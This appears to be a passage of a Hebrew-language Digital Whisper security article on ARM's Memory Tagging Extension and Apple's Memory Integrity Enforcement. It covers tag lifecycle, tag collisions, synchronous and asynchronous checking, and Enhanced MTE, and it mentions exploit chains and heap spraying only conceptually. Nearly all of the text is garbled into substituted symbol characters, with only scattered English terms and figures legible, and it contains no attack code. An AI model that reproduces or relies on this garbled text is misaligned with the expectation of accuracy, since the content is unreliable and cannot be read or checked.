¢ŀƎƎƛƴƎ 9ȄǘŜƴǎƛƻƴ ς a¢9  Σόˠ˞˟ˢ  ˢˤˢ  ˢ˧ˢ   ˶ ˸ˣˮ  ˧˸˪˟  ˢ˞˶ˮ  ˭˧˦ˣ˪˥˪  Φ ˞ ˪   s ˸˧˧ˢ  ˸˷˥˶˸ˬ  ˢ˯˧˶˵  Σ˞˪   s ˧ˢ  

˶˴ˣˮ ˠˣ˪ Σ˞˪ˣ ˢ˸˧˧ˢ  ˪ ˩ ˢ˧˞˶  ˨˩˪ ˰ˣ˶˧˞ˢ˷ ˷˥˶˸ˢ Φ 

ˢ˰˲ˣ˸ˢ  ˣˤˢ  ˞˧ˢ  ˢ˰˧ˮˢ˷  ˣˮ˸ˣ˞  ˟ˣ˸˩˪  ˸˞  ˦˯ˣ˲ˢ  ˢˤˢ  Φˣˮ˸˰ˡ˪  Σa¢9  ˪˷  !wa  ˞ˣˢ  ˢ˟˶ˢ  ˶˸ˣ˧   ˭ ˣˮˠˮˬˬ  

ˢˮˠˢ   ˧ ˸˥˦˟˞,  ˞ˣˢ  ˭ˬ˯ˬ  ˧ˣˮ˧˷   ˧ ˸˯˧˲˸   ˭ ˲ˣ˞˟  ˣ˟˷   x ˮ˞  ˫˧˶˸˞ˬ   ˫ ˧ˮ˧˟ˬˣ   ˸ ˣ˧ˣ˰˧ˠ˲  ˪ˮ˶˵˟  Σ ˟ ˧˧˥ˬˣ  ˸˞   ˸ ˪˧ˢ˵  

˶˵˥ˬˢ  ˳ˬ˞˪ ˧˩˶ˡ ˢˡˣ˟˰ ˧˪˩ˣ ˶˵˥ˬ  ˫˧˷ˡ˥ Φ 

 s ˶˴˵˟  Υ˸˟˥˶ˢ  ˠˣ˧˸   ˭ ˣ˶˩˧ˤˢ  ύa¢9  ό˪˷  !wa  Σ ˷ ˣˬ˧ˬˢˣ  ˢ˪˷   ˪ ˲˞˟  ύ!ǇǇƭŜ  ΣόaL9  Σ˫˧˪ˠˣ˯ˬ  ˸ˣˢˤ˪  ˸ˣ˧ˣ˰˧ˠ˲  

˸ˣ˥˧˦˟  ˭ˣ˶˩˧ˤ  ˶˟˩  ˸ˬ˶˟  ˢ˶ˬˣ˥ˢ  Σˡˣ˰  ˧ˮ˲˪  ˷˥˶˸ˬ˷  ŎƻǊǊǳǇǘƛƻƴ  ˪˷  ˭ˣ˶˩˧ˤˢ  ύƳŜƳƻǊȅ ŎƻǊǊǳǇǘƛƻƴ  Φό

˦˯ˣ˲˟  ˶˧˟˯ˮ  ˡ˴˧˩  ˢ˧ˠˣ˪ˣˮ˩˦ˢ  ˸˪˰ˣ˲  ˵ˬˣ˰˪  Σ˷˧˥ˬˮ  ˡ˴˧˩  ˞˧ˢ  ˸˲˷ˣ˥  ˸ˣ˧ˣ˰˧ˠ˲  ˠˣ˯ˬ  ǳǎŜπŀŦǘŜǊπŦǊŜŜ  

˸ˣˬ˶ˠˮˢ  ˢ˞˴ˣ˸˩  ˧˟˴ˬˬ  ˳ˣ˶˧ˬ  ,  ˸ˣ˧ˣ˰˧ˠ˲  ˣ˧ˢ˷  ˸ˣ˶˸ˣˮ  ˧˸˪˟  ˸ˣ˞˶ˮ  ˞˪˪  a¢9  ,  ˭˰˦ˮˣ   ˧ ˩  ˷˧  ˸ˣ˞˶˪  π˟a¢9  

˞˪  ˵˶ ˭ˣˮˠˮˬ ˢˮˠˢ  Σ˞˪˞  ˫ ˠ ˧˪˩ ˶˵˥ˬ  ˟˶ˢˬ˴ˣ˰ Φ 

 

ˢ˥˦˟ˢˢ ˪˷ ˠˣ˧˸ ˭ˣ˶˩ˤ  s ˶ˬˣ˥˟ 

˸ˣ˧ˣ˰˧ˠ˲  ƳŜƳƻǊȅ ǎŀŦŜǘȅ  Σ ˭ ˣˠ˩  ōǳŦŦŜǊ ƻǾŜǊŦƭƻǿ  ΣǳǎŜπŀŦǘŜǊπŦǊŜŜ   xπǘȅǇŜ ŎƻƴŦǳǎƛƻƴ  Σ˸ˣ˩˧˷ˬˬ  ˸ˣ˧ˢ˪   ˸ ˵˪˥ˬ  

 ˸ ˣ˧ˣ˰˧ˠ˲ˢ  ˢ˴ˣ˲ˮˢ   ˸ ˪˴ˣˮˬˢˣ   ˶ ˸ˣ˧˟  ˫˪ˣ˰˟  ˢˮ˩ˣ˸ˢ  Φ ˭ ˢ   ˸ ˣˡˬˣ˰  ˭˯˧˯˟˟   ˪ ˷   ˦ ˰ˬ˩  ˪˩   ˸ ˣ˞˶˷˶˷   ˪ ˣ˴˧ˮˢ  

ύŜȄǇƭƻƛǘ ŎƘŀƛƴǎ  ό˸ˣˬˡ˵˸ˬˢ  ,   ˪ ˥ˢ  πˬƧŀƛƭōǊŜŀƪǎ  ˡ˰ˣ  ˸ˣˮ˩ˣ˸˪  ˪ˣˠ˧˶  ˢˬ˶˟   ˸ ˧˸ˮ˧ˡˬ   x ˬ˩  tŜƎŀǎǳǎ  Φ ˸ ˣ˶ˬ˪  

˸ˣ˶˷˰  ˫˧ˮ˷  ˪˷  ˧ˮˣˮˠˮˬ  ˢˮˠˢ  ˧˯˯ˣ˟ˬ  ˢˮ˩ˣ˸  Σ ˭ ˣˠ˩  !{[w  ΣǎǘŀŎƪ ŎŀƴŀǊƛŜǎ  πx/CL  Σ˫˧˲˵ˣ˸  ˫˧˩˧˷ˬˬ   ˞ ˣ˴ˬ˪  

˫˧˩˶ˡ  ˱ˣ˵˰˪  ˫˸ˣ˞  Φˢ˟˧˯ˢ  ˨˩˪  ˢ˦ˣ˷˲  Υ ˧ ˮˣˮˠˮˬ  ˢˮˠˢ  ˧˯˯ˣ˟ˬ  ˢˮ˩ˣ˸  ˫ˢ  Σ˫˰˟˦ˬ  Σ˵˥˷ˬ  ˢˮˠˢ  ˣ˟˷   ˱ ˵ˣ˸ˢ  

˞ˣˢ ˢˤ ˟˧˸˩ˬ˷  ˸ ˞ ˫˧˪˪˩ˢ Φ 

http://www.digitalwhisper.co.il/


 
 

a¢9   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  пт 
 

˸˟˥˶ˢ  ˠˣ˧˸  ˭ˣ˶˩˧ˤˢ  ύaŜƳƻǊȅ ¢ŀƎƎƛƴƎ 9ȄǘŜƴǎƛƻƴ ς a¢9  ό˪˷  !wa  Σˢˠ˴ˣˢ˷  ˢˮˣ˷˞˶˪  ˸ˮ˷˟  нлмф   ˵ ˪˥˩  

πˬ!waǾуΦрπ!  Σˢ˰˧˴ˬ   s ˷˧ˠ  ˢˮˣ˷   ˭ ˬ  ˡˣ˯˧ˢ  Υ ˸ ˣ˥˧˦˟   ˭ ˣ˶˩˧ˤˢ  ˸˲˩˞ˮ  ˸ˬ˶˟  ˢ˶ˬˣ˥ˢ  Φ ˫ ˣ˵ˬ˟  ˸ˣ˯ˮ˪   ˸ ˣˢˤ˪  

 ˪ ˣ˴˧ˮ  ˶ ˥˞˪ ˶˟˩˷ ˷˥˶˸ˢ   ˭ ˷˲˞˶ˣ˵  ˪ ˷ ˭ˣ˶˩˧ˤˢ ύƳŜƳƻǊȅ ŎƻǊǊǳǇǘƛƻƴ  Σόa¢9  l ˧ˬ˴ˬ  ɣ ˸  ύǘŀƎ  ό ˪ ˩˪  ˸ ˞˴˵ˢ  

 ˭ ˣ˶˩˧ˤ   ˸ ˬ˞ˬˣ   ˸ ˞  ˠ˸ˢ  ˪˩˟  ˢ˷˧ˠ  ˭ˣ˶˩˧ˤ˪  Σ˸ˣ˶˧ˢˬ˟  ˢ˶ˬˣ˥ˢ  ˞˪˪ˣ  ˸˶ˣ˵˸  ˢˮ˩ˣ˸  ˶ˣ˟˰  ˸˪ˣ˰˲   ˸ ˣˬ˧˞ˢ  ˢˬ˴˰ Φ 

 ˶ ˟ˬ˦˲˯˟  нлнр   s ˵˧˷ˢ  !ǇǇƭŜ   ˸ ˞  ˭ˣˮˠˮˬ  ˸˲˧˩˞   ˸ ˣˬ˪˷   ˭ ˣ˶˩˧ˤˢ   ύaŜƳƻǊȅ LƴǘŜƎǊƛǘȅ 9ƴŦƻǊŎŜƳŜƴǘ ς aL9  ό

 ˸ ˶ˡ˯˟  ƛtƘƻƴŜ мт  Φ˭ˣˮˠˮˬˢ   ˯ ˯ˣ˟ˬ  ˪˰  ˢ˯˶ˠ  ˸˶˲ˣ˷ˬ  ˪˷  a¢9  Σˢ˥˸ˣ˲˷  ˱ˣ˸˧˷˟  ˫˰  !wa  Φˢ˵˷ˢ   x ˤ  

ˢ˸˧˧ˢ  ˣ˞˧˷  ˪˷  ˳ˬ˞ˬ  ˧˯ˡˮˢ  ˨˷ˬˮ˷  ˷ˬ˥˩  ˫˧ˮ˷  ˪˪˩ˣ  ˸˞  ˧˸ˣˣ˴  ˭ˣ˵˧˪˧˯ˢ  Σ˸˩˶˰ˬ  ˢ˪˰˲ˢˢ  ˢˣπŦǊŀƳŜǿƻǊƪǎ  

 ˪ ˷  !ǇǇƭŜ  Φ ˫ ˧˷ˡˣ˥˟   x ˲˪˥˷  ˤ˞ˬ   x ˪˥ˢ  ˶˟˦˴ˢ˪   ˸ ˣ˧ˣˡ˰  ˥˦˷ˢˬ   x ˷˷˧˞˷   ˸ ˞  ˢˬ   ˧ ˶˵ˣ˥˷  ˢ˥˦˟˞   x ˩˧˶˰ˢ  

˨˷ˬ˟ ˫˧ˮ˷  Υ˶˟˰ˬ  x ˸˪ˣ˩˧˪  ˰ˣˮˬ˪  ˪ˣ˴˧ˮ  ˪ ˷  ˸ˣ˧ˣ˰˧ˠ˲  Σa¢9 ˱˷ˣ˥  ˸ˣ˵˪˥ˬ ˸ˣˬ˪˷  ˪˷ ˫˧ˠ˞˟ ˶˟˰˟˷   x ˶˸ˣˮ  

 ˧ ˸˪˟ ˫˧˞˶ˮΦ 

 ˦ ˯ˣ˲˟  ˢˤ   ˪ ˣ˪˴ˮ   ˵ ˬˣ˰˪  ˭˲ˣ˞   s ˪ˣ˰˲ˢ  ˪˷  a¢9  Σ ˭ ˥˟ˮ   ˸ ˞   ˸ ˣ˟˥˶ˢˢ  π˷!ǇǇƭŜ  ˢ˸ˮ˟  ˣ˧˪˰ˬ  Σ ˶ ˧˟˯ˮˣ   ˰ ˣˡˬ   ɣ ˣ˧˸  

˭ˣ˶˩˧ˤ ˨˲ˣˢ   ˧ ˪˩˪ ˧ˮˣ˧˥  ˞˪  ˵˶  ˢˮˠˢ˪ ˪˰ ˸ˣ˩˶˰ˬ  Σ˞˪˞  ˫ ˠ ˶˵˥ˬ˪ ˸ˣ˧ˣ˰˧ˠ˲ Φ 

 

a¢9 ˸˥˸ˬ ˢ˯˩ˬ˪ ˰ˣˮˬˢ Υˡ˴˧˩ ˸ˣ˧ˠ˸ ˸ˣˮ˧ˠˬ ˪˰ ˭ˣ˶˩˧ˤˢ   

˭ˣˮˠˮˬˢ  ˧ ˤ˩˶ˬˢ 

a¢9  ˯˯˟˸ˬ  ˪˰  ˢˮˣ˩˸  ˸˶ˣ˦˵˦˧˩˶˞˟  !waсп  ˫˷˟  ¢ƻǇ .ȅǘŜ LƎƴƻǊŜπ  ¢.L  Φ˸˟ˣ˸˩˟  ˸˧˪˞ˣ˦˶˧ˣ  ˪˷  сп  

˸ˣ˧˟˧˯  Σ˵˶  ˫˧˦˧˟ˢ  ˫˧ˮˣ˸˥˸ˢ  ˫˧˷ˬ˷ˬ  ˪˰ˣ˲˟  ˫ˣˠ˶˸˪  ˸˟ˣ˸˩ˢ  Φ˦˧˧˟ˢ  ˭ˣ˧˪˰ˢ  ύ˫˧˦˧˟  соΥрс  όˣˮ˧˞   ˥ ˵˪ˮ  

 ˭ ˣ˟˷˥˟  ˪˰   ˧ ˡ˧   ˸ ˡ˧˥˧   ˪ ˣˢ˧ˮ   ˭ ˣ˶˩˧ˤˢ  ύaa¦  Σό ˭ ˩˪ˣ  ˭˸˧ˮ  ˪˴ˮ˪   x ˸ˣ˞   ˭ ˣ˯˥˞˪  ˞˦ˬ˫˧ˮˣ˸ˮ  Φa¢9   ˷ ˬ˸˷ˬ  

ˢ˰˟˶˞˟ ˫˧˦˧˟ ˨ˣ˸ˬ  ˣ˸ˣ˞ ˦˧˧˟  ˭ ˣ˧˪˰ ύ˫˧˦˧˟  рфΥрс ό˧ˡ˩  ˭˯˥˞˪ ˠ˸  ύǘŀƎ ό x ˩˶˰˷ ˰ˮ ˭˧˟  л  π˪мрΦ 

˱˯ˣˮ˟  Σ˶ˣ˟˰   ˪ ˩  ˢ˪ˣˮ˶ˠ  ύƎǊŀƴǳƭŜ  ό˪˷  мс   ˫ ˧˸˟   ˭ ˣ˶˩˧ˤ˟  ˧ˤ˧˲ˢ  Σ˸˶˷ˣ˧ˬˢ  ˪ˣ˟ˠ˪  ˪˷  мс  ˫˧˸˟  Σˢ˶ˬˣ˥ˢ   ˸ ˶ˬˣ˷  

ˠ˸  ˭˟  п  ˫˧˦˧˟  ˢˮ˟ˬ˟  ˭ˣ˶˩˧ˤ  ˧ˡˣ˰˧˧  ˫˷˟  ¢ŀƎ w!a  Φˣˢˤ  ˢˮ˟ˬ  ˭ˣ˶˩˧ˤ  ˢˣˣ˪ˮ  ύǎƛŘŜŎŀǊ ƳŜƳƻǊȅ  όˡ˟˰ˬˢ˷   ˵ ˡˣ˟  

˪˩˟  ˸ ˪ˣ˰˲ ˢˮ˧˰˦ ύƭƻŀŘ  όˣ˞ ˢ˟˧˸˩ ύǎǘƻǊŜ Φό 

˭ˣˮˠˮˬ   s ˪ˣ˰˲ˢ   ˦ ˣ˷˲   ˧ ˡˬ˪  Υ˪˩˟   ˫ ˰˲   l ˟˰ˬˢ˷   ˰ ˴˟ˬ  ˸˪ˣ˰˲  ƭƻŀŘ  ˣ˞  ǎǘƻǊŜ  Σ ˞ ˣˢ  ˳˪˥ˬ  ˸˞   ɣ ˸ˢ   ˰ ˧˟˴ˬˢˬ  

ύǇƻƛƴǘŜǊ  όˢˣˣ˷ˬˣ  ˣ˸ˣ˞  ˠ˸˪  ˭˯˥ˣ˞ˬˢ  π˟¢ŀƎ w!a  ˶ˣ˟˰  ˸˟ˣ˸˩  ˡ˰˧ˢ  Φ˫˞  ˧ˮ˷   ˫ ˧ˠ˸ˢ  ˫˧ˬ˞ˣ˸  Σˢ˷˧ˠˢ   ˭ ˣ˶˩˧ˤ˪  

˸˰˴˟˸ˬ ˪˧ˠ˶˩ Φ ˫ ˞ ˫ˢ ˫ˮ˧˞  ˫˧ˬ˞ˣ˸ Σˢ˶ˬˣ˥ˢ ˸˶˴˧˧ˬ ¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ Φ 
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˶ˣˤ˥ˬ ˫˧˧˥ˢ ˪˷ ˠ˸ )Tag Lifecycle ( 

˫˧ˠ˸ˢ ˫˧ˮ˸˷ˬ   ˪ ˩˟ ˢ˞˴˵ˢ  ˷ˡ˥ˬ   ˪ ˷ ˭ˣ˶˩˧ˤ Φ ˶ ˷˞˩  ƪŀƭƭƻŎόύ ˢ˴˵ˬ   ˶ ˣˤ˞ ˭ˣ˶˩˧ˤ Σ s ˴˵ˬˢ ύŀƭƭƻŎŀǘƻǊ ό ˰ ˴˟ˬ  

˸˞  ˸ ˣ˪ˣ˰˲ˢ ˸ˣ˞˟ˢ Υ 

¶ ˶˥ˣ˟  ˨˶˰  ɣ ˸ ύtag  ό˧˞˶˵˞ ˥ˣˣ˦˟  0 ς15  ˶ˣ˟˰   ˶ ˣˤ˞  s ˞˴˵ˢˢΦ 

¶ ˟˸ˣ˩  ˸ ˞ ˠ˸ˢ  π˪Tag RAM  ˶ˣ˟˰  ˪ ˩ ˢ˪ˣˮ˶ˠ ύgranule όˢ˞˴˵ˢ˟ Σ ˸ ˣ˰˴ˬ˞˟ ˸ˣ˞˶ˣˢˢ  STG  ˣ˞  ST2G Φ 

¶ ˶˧ˤ˥ˬ ˰˧˟˴ˬ  ύpointer όˠ˸ˢ˷  ˰ ˬ˦ˣˬ ˫˧˦˧˟˟ ˫˧ˮˣ˧˪˰ˢ  ˣ˪˷Φ 

˶˷˞˩  ƪŦǊŜŜόύ   ˶ ˶˥˷ˬ   ˸ ˞  ˶ˣˤ˞  ˭ˣ˶˩˧ˤˢ  Σˢ˴˵ˬˢ  ˟˸ˣ˩  ˠ˸   ˷ ˡ˥  ˢˮˣ˷ˣ   ˪πw!a  Φ s ˞˴ˣ˸˩  ˨˩ˬ  Σ ˪ ˩  ŘŀƴƎƭƛƴƎ 

ǇƻƛƴǘŜǊ  ˭˧˧ˡ˰˷   ˞ ˷ˣˮ   ˸ ˞  ˠ˸ˢ  ˭˷˧ˢ   ˞ ˪   ˫ ˧˞˸˧   l ˣ˰  ˠ˸˪  ˭˯˥ˣ˞ˬˢ  π˟w!a  Σˢ˶ˬˣ˥ˢˣ  ˶ˣ˴˰˸  ˸˞  ˢ˷˧ˠˢ   ˭ ˲ˣ˞˟  

 ˧ ˡ˧˧ˬ . 

ˢˮ˟ˣ˸ˢ  ˸ ˧ˤ˩˶ˬˢ 

˶˥˞ˬ  ˪ˡˣˠ˷   ɣ ˸ˢ  ˞ˣˢ  п  ˫˧˦˧˟  ˡ˟˪˟  Σ˫˧ˬ˧˧˵  мс   ˧ ˩˶˰  ˠ˸  ˫˧˧˶˷˲˞  Φ˸ˣ˰ˬ˷ˬ  ˶˟ˡˢ  ˞˧ˢ   ˸ ˣ˷ˠˮ˸ˢ˷  

˸˧˞˶˵˞   ˪ ˷  ˠ˸  ύǘŀƎ Ŏƻƭƭƛǎƛƻƴ  Σόˢ˟˷   ˰ ˧˟˴ˬ  ˭˷ˣ˧ˬ  ύǎǘŀƭŜ ǇƻƛƴǘŜǊϦ ό˰ˠˣ˲  ˢ˶˵ˬ˟  Ϧ ɣ ˸˟  ˷ˡ˥ˢ  Σ ˸ ˷˥˶˸ˬ  

˸ˣ˶˟˸˯ˢ˟ ˪˷  м  π˪мс ύ˩πсΦнр҈ Φό 

˟ˣ˷˥  ˷˧ˠˡˢ˪  Υ˭˧˞  ˶˟ˣˡˬ  ˭ˣˮˠˮˬ˟  ˢ˥˦˟˞  ˧˲˶ˠˣ˦˲˧˶˵  Φa¢9  ˞ˣˢ  ˭ˣˮˠˮˬ  ˧˸ˣ˶˟˸˯ˢ   ύǇǊƻōŀōƛƭƛǎǘƛŎ  Σό ˞ ˪ˣ  

˧˦˯˧ˮ˧ˬ˶˦ˡ  ύŘŜǘŜǊƳƛƴƛǎǘƛŎ  Φό˫˰  ˸˞ˤ  Σ˫ˠ  ˸ˣ˶˟˸˯ˢ  ˪˷  фоΦтр҈  ˢ˯˧˶˵˪  ˪˩˟  ˭ˣ˧˯˧ˮ  ˸˩˲ˣˢ  ˥ˣ˸˧˲   ˪ ˷  

ŜȄǇƭƻƛǘ  ˭˧ˬ˞  ˢˬ˧˷ˬ˪  ˢ˷˵  ˡ˥ˣ˧ˬ˟  Σˡˣ˥˧˧˟  ˶˷˞˩  ˶˟ˣˡˬ  ˸ˣ˞˶˷˶˷˟  ˪ˣ˴˧ˮ  ύŜȄǇƭƻƛǘ ŎƘŀƛƴǎ  ό˸ˣ˟ˣ˶ˬ   ˫ ˧˟˪˷  Σ

˭ˢ˟˷  ˪ ˩ ˟˪˷  ˟ ˧˧˥  ˥ ˧˪˴ˢ˪ ˧ˡ˩  ˪ ˣ˴˧ˮˢ˷ ˣ˪ˣ˩ ˫˪˷ˣ˧ Φ 

ˢˬˠˣˡ˪  Σ ˸ ˶˷˶˷˟   ˪ ˣ˴˧ˮ   ˸ ˟   s ˷ˣ˪˷  ˫˧˟˪˷  Σ s ˟˷   ˪ ˩   ˟ ˪˷   ˷ ˶ˣˡ   s ˬ˞˸ˢ  ˪˷  ˠ˸  Σ˸ˣ˶˟˸˯ˢ   s ˥˪˴ˢˢ  

˸˪˪ˣ˩ˢ  ˸ˡ˶ˣ˧  ˩˪π  ш ύмκмс  Ғ όлΦлнп҈  ˣˤ  ˸˥˞  ˸ˣ˟˧˯ˢ  ˸ˣ˧ˤ˩˶ˬˢ  ˨˩˪  π˷a¢9  ˪˧˰˧  ˡ˥ˣ˧ˬ˟  ˡˠˮ  ŜȄǇƭƻƛǘ ŎƘŀƛƴǎ  

˸ˣ˞˪ˬ Σ˱˞  ˸ˣ˶˟˸˯ˢˢ˷  ˢ˥˪˴ˢ˪ ˪˩˟ ˟˪˷  ˡˡˣ˟ ˸˧˞˶ˮ  Σ˦˟ˬ˟ ˭ˣ˷˞˶  Σ˞˪ ˢ˩ˣˬˮ ˡ˥ˣ˧ˬ˟Φ 
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ˢ˵˧ˡ˟ ˸˧ˮˣ˶˩ˮ˧˯ ˸ˬˣ˰˪ ˢ˵˧ˡ˟ ˞˘ ˸ ˧ˮˣ˶˩ˮ˧˯ 

a¢9  ˨ˬˣ˸  ˧ˮ˷˟ ˧˟˴ˬ  ˢ˵˧ˡ˟ Υ 

¶ ˟˴ˬ   ˧ ˮˣ˶˩ˮ˧˯  ύSynchronous Mode  Υό˸ˠ˧˶˥  Tag Check Fault  ˸˶˴ˣˮ  ˡ˧ˬ  ˫˰   ˰ ˣ˴˧˟  ˸˞˶ˣˢ  πsload   x ˞  

πsstore  ˢˬ˶ˠ˷  ˪˷˩˪  Φ˸˟ˣ˸˩  πsPC  ˸ˡ˰ˣ˸ˬˢ  ˧ˮˣ˸ˮ˟  ˢˠ˧˶˥ˢ  ˢ˰˧˟˴ˬ  ˵˧ˣˡˬ˟  ˪˰  ˢ˞˶ˣˢˢ  ˸˧˸˧˧˰˟ˢ  Φ

˟˴ˬ ˢˤ  ˵ ˲˯ˬ ˰ˡ˧ˬ ˵˧ˣˡˬ ˡ˥ˣ˧ˬ˟  ˧˩˶ˣ˴˪  ˠˣ˟˧ˡ Σ ˨ ˞  ˨ ˣ˶˩  ˸ˣ˪˰˟  ˫ ˧˰ˣ˴˧˟ ˸ˬ˧ˣ˯ˬ Φ 

¶ ˟˴ˬ  ˞ ˧ ˮˣ˶˩ˮ˧˯  ύAsynchronous Mode  Υό ˫ ˧˪˷˩  ˸˵˧ˡ˟˟  ˠ˸ˢ  ˫˧ˡ˰ˣ˸ˬ  Σ ˨ ˞  ˢˠ˧˶˥ˢ  ˢˮ˧˞  ˸˶˴ˣˮ   ˭ ˲ˣ˞˟  

˧ˡ˧˧ˬ Φˢ˷˧ˠ xʕ ˢ˸˧˥˲ˬ  ˸ ˞  ˸ ˶ˣ˵˸ ˫˧˰ˣ˴˧˟ˢ Σ˨˞ ˢ˷˵ˬ  ˪ ˰ ˧ˣˢ˧ˤ ˵˧ˣˡˬ   ˪ ˷ ˶ˣ˵ˬ ˢ˧˰˟ˢ Φ 

!ǇǇƭŜ  ˢ˶˥˟   ˪ ˧˰˲ˢ˪  ˸˞  aL9  ˟˴ˬ˟  ˧ˮˣ˶˩ˮ˧˯  Φˢ˸ˬˣ˰˪  Σ˷ˣˬ˧ˬˢ  ˪˷  DƻƻƎƭŜ  ˧˶˧˷˩ˬ˟  tƛȄŜƭ  ˷ˬ˸˷ˬ   ˟ ˴ˬ˟  

˞ ˧ ˮˣ˶˩ˮ˧˯  ˶ˣ˟˰  ˪ˮ˶˵ˢ  Σˢ˷˧ˠ˟ˣ  ˸˟˪ˣ˷ˬ  ύƳƛȄŜŘ ƳƻŘŜ  ό˟˥˶ˬ˟  ˷ˬ˸˷ˬˢ  ύǳǎŜǊ ǎǇŀŎŜ  Φόˢ˶˧˥˟˪  ˣˤ   ˷ ˧  

˸ˣ˩˪˷ˢ ˸ˣ˧˸ˣ˰ˬ˷ˬ ˭s ˪˰  ˸ˬ˶ ˢˮˠˢˢ ˵˲˯ˬ˷ ˭ˣˮˠˮˬˢ ˭ˢˣ ˪˰ ˸˪˰ˣ˸ˢ  ˣ˪˷  ˧˩˶ˣ˴˪ ˶˵˥ˬ Φ 

 

 ˬπa¢9 ˪πaL9 Υ s ˷˧ˠˢ ˸˟˥˶π˸˧ˮ˯˥ˬˢ ˪˷ !ǇǇƭŜ 

˧ˡ˩  ˶˷˲˞˪  a¢9  ˫˧˟˟˷˟  ˫ˢ˪˷  Σ!ǇǇƭŜ   s ˶˦˵˦˧˩˶˞  ˷ˡ˥ˬ  ˸˞  ˪˩   ˸ ˧ˮ˯˥ˬˢ  ˣ˟˧˟˯  Σˢ˶˴˧ˣ   ˸ ˩˶˰ˬ   s ˮˠˢ  

˸˪˸π˸˧˸˟˩˷ ˞˧ˢ˷ ˢˮ˩ˬ ˭ˣˮˠˮˬ  ˸˲˧˩˞  ˸ ˣˬ˪˷ ˭ˣ˶˩˧ˤˢ  ύaL9Φό 

ˢ˟˩˷ 1 :˧˴˵ˬ ˭ˣ˶˩˧ˤ  ˫ ˧˥˦˟ˣ˞ˬ 

 l ˣ˰   ˧ ˮ˲˪   ˷πa¢9  ˯ˮ˩ˮ  ˢˮˣˬ˸˪  Σˢ˴˵ˬ  ˫˧˶ˣˤ˞ˢ  ύȊƻƴŜ ŀƭƭƻŎŀǘƻǊ  ό ˪ ˷  !ǇǇƭŜ   ˵ ˲˯ˬ  ˢˮˠˢ  ˸˧˸ˣ˰ˬ˷ˬ  Φ s ˴˵ˬ  

˪ˮ˶˵ˢ  ˪˷  ƛh{  ˭ˠ˶˞ˬ  ˸˞  ˭ˣ˶˩˧ˤˢ  ˫˧˦˵˞˟˟  ˫˧˧˲˧˴˲˯  ˧˲˪  ˯ˣ˲˧˦ˢ   Ϧύ˫˧˶ˣˤ˞  ΣϦȊƻƴŜǎ  Σό˨˩   ˫ ˧˦˵˧˧˟ˣ˞˷  

˫˧˯ˣ˲˧˦ˬ  ˫˧˪ˡˠˣ  ˫˧ˮˣ˷  ˫˧ˡˡˣ˟ˬ  ˢˤ  ˢˤˬ  Φ˶˷˞˩  ˭ˣ˶˩˧ˤ  ˶˶˥ˣ˷ˬ  Σ˞ˣˢ  ˯˲ˣ˞ˬ  ˶ˤ˥ˣˬˣ  ˶ˣˤ˞˪  ˫˧˞˸ˬˢ  Φ ˶ ˟ˡˢ  

ˢ˷˵ˬ ˸˧˸ˣ˰ˬ˷ˬ ˪˰ ƘŜŀǇ ǎǇǊŀȅƛƴƎΦ 

ˣˢˤ  x ˵ ˢˮˠˢˢ ˭ˣ˷˞˶ˢ Σ˞ˣˢˣ ˡ˟ˣ˰  ˪˩˟ ˫˧˶˧˷˩ˬˢ Σ˪˪ˣ˩ ˢ˶ˬˣ˥ ˢˮ˷˧ ˶˸ˣ˧  ˞˪˪ ˢ˩˧ˬ˸ ˟ πa¢9 Φ 

ˢ˟˩˷ 2 :MTE ˶˲ˣ˷ˬ )EMTE( 

˸˩˶˰ˢ  ˦˶˲ˬˢ  ˧˶ˣ˵ˬˢ  ˪˷  a¢9  ˢ˰˴˧˟˷  !ǇǇƭŜ  ˢ˸ˢ˧ˤ  ˸ˣ˷˪ˣ˥  ˣ˟˷˥ˮ˷  ˢ˧ˮ˧˰˟  ˧˸˪˟  ˸ˣ˪˟ˣ˵ˬ   s ˯˧˶˲˪  

˸˧˸ˮˠˢ  ˭ˬˤ˟  ˸ˬ˞  Φ ˱ ˣ˸˧˷˟   ˫ ˰  !wa  Σ ˭ ˢ   x ˥˸˧˲  ˱˸ˣ˷ˬ˟   ˸ ˞  a¢9   ˶ ˲ˣ˷ˬ  ύ9a¢9  Σό ˰ ˣˡ˧ˢ  ˫ˠ  ˫˷˟  

C9!¢ψa¢9п  ˦ ˶˲ˬ˟  ˪ ˷ !wa  Φ 
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˫˧˶ˣ˲˧˷ˢ ˫˧˧ˤ˩˶ˬˢ ˫˧˪˪ˣ˩ Υ 

ω ˸˵˧ˡ˟   ˸ ˧ˠ˸  ˸˧ˮˣˮ˵  ύCanonical tag checking  Υόπ˟MTE  ˧˦˶ˡˮ˦˯ˢ  Σˢ˷˧ˠ   ˭ ˣ˶˩˧ˤ˪  ˞˪πˠ˧ˣ˸ˬ  ύ ˭ ˣˠ˩  

˫˧ˮ˸˷ˬ ˫˧˧˪˟ˣ˪ˠ ό˨ˣ˸ˬ   ˶ ˣˤ˞  ɣ ˧ˣ˸ˬ ˢˮ˧˞ ˸˵ˡ˟ˮ ΦEMTE ˱˧˯ˣˬ ˢ˵˧ˡ˟ ˫˧˶˟˰ˬ˪  ˢ˪˞ Φ 

ω ˥ˣˣ˧ˡ  ˸ˣ˪˵˸   ˶ ˲ˣ˷ˬ  Υ ˪ ˩  ˸ˣ˧˟˧˯ˢ ˭ˮ˧˞˷  ˸˟ˣ˸˩  ˸ˣ˥ˣˣˡˬ  ˸˰˟  ˢ˪˵˸  Σˢˬ ˵˧ˮ˰ˬ˷ ˪ˮ˶˵˪  ˰ ˡ˧ˬ   ˟ ˶   ˶ ˸ˣ˧  

˭ˣ˥˟˞˪ Φ 

ω  ˸ ˵˧ˡ˟  ˸˧ˠ˸   ˭ ˣ˯˥˞˪  ˡ˟˪˟  ύstore-only  Υό ˟ ˴ˬ   ˱ ˯ˣˮ   x ˟˷  ˵˶   ˸ ˣ˪ˣ˰˲  ˭ˣ˯˥˞  ˸ˣ˵ˡ˟ˮ  Σ ˧ ˷ˣˬ˧˷   ˫ ˧˶˷˵ˢ˟  

˫˧˧˲˧˴˲˯ ˫˧˷˧ˠ˶ˢ  ˫˧˰ˣ˴˧˟˪ Φ 

ˢ˟˩˷ 3 :˸˲˧˩˞ ˸ˣ˧ˡˣ˯  ˸ˣ˧ˠ˸ )TCE( 

